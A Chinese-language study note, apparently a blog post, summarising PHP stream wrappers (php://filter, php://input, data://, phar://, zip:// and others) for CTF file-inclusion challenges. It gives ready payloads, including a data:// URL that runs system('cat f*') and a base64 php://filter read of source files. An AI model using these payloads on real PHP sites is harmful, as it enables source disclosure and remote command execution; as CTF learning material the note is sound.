1. 程式人生 > 實用技巧 >PHP偽協議總結

PHP偽協議總結

P H P 偽 協 議 總 結


平時做ctf題其中檔案包含命令執行都有涉及php偽協議的東西,別人總結的總給是別人的,自己總結一波也算在學習一遍。其中還有一些偽協議沒用碰到過,遇到了再新增

目錄

php偽協議

file://

php://

data://

glob://

phar://

zip://


總覽

file://
php://
data://
glob://
phar://
zip://

file://協議

條件:
	allow_url_fopen:off/on
    allow_url_include :off/on

作用:
    	用於讀取本地檔案安且不受allow_url_foopen的影響
        只能傳入絕對路徑(絕對不能使用相對路徑 會報錯)
用法:
        file://[檔案的絕對路徑和檔名]

php://協議

php://

條件:
    allow_url_fopen=off
    allow_url_include=off
用法:
    php://作用為訪問輸入輸出流

php://filter

例如:
    ?id=php://filter/read=convert.base64-encode/resource=[檔名](針對php檔案需要base64編碼)

說明:
    resource=<要過濾的資料流> 這個引數是必須的。它指定了你要篩選過濾的資料流

    read=<讀鏈的篩選列表> 該引數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。

    write=<寫鏈的篩選列表>該引數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔
        。
    <;兩個鏈的篩選列表> 任何沒有以 read= 或 write= 作字首 的篩選器列表會視情況應用於讀或寫鏈。
用法:
    php://filter/read=convert.base64-encode/resource=[檔名]

php://input

條件:
    allow_url_include=on

    當enctype=”multipart/form-data”時,php://input是無效的

用法:
    將post請求的資料當作php程式碼執行。當傳入的引數作為檔名開啟時,可以將引數設為php://input
例如:
    flag=php://input

data://協議

條件:
    Allow_url_fopen:on
    Allow_url_include:on

用法:
    data://text/plain,
    data://text/plain;base64,

例如:
    ?c=data://text/plain,<?php system('cat f*');?>

    ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==             
    PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==是<?php system('cat f*');?>的base64編碼

glob://協議

用法:

    -查詢匹配的檔案路徑模式

    C = $it = new DirectoryIterator("glob://路徑*.php");
    foreach($itas$f){
	 echo$f->getFilename()."\n";

    //printf("%s:%.1FK/n",$f->getFilename(),$f->getSize()/1024);
        }exit();

phar://協議

條件:
    allow_url_fopen:off/on
    allow_url_include:off/on

作用:
    訪問zip格式壓縮包內容

用法:
    file=phar://[壓縮報的相對路徑]/xxx.zip/[子檔名]

例如:
    file=phar://c:/xxx/xxx/xxx/phpinfo.zip/phpinfo.php

zip://協議

條件:
    allow_url_fopen:off/on
    allow_url_include:off/on
作用:
    訪問壓縮檔案中的子檔案,不需要指定字尾名,可修改為任意字尾(jpg.png....)
使用:
    zip://[壓縮檔案絕對路徑]%23[壓縮檔案中的子檔名]

例如:
    file=zip://C:\xxx\xxx\xxx\phpinfo.jpg%23phpinfo.php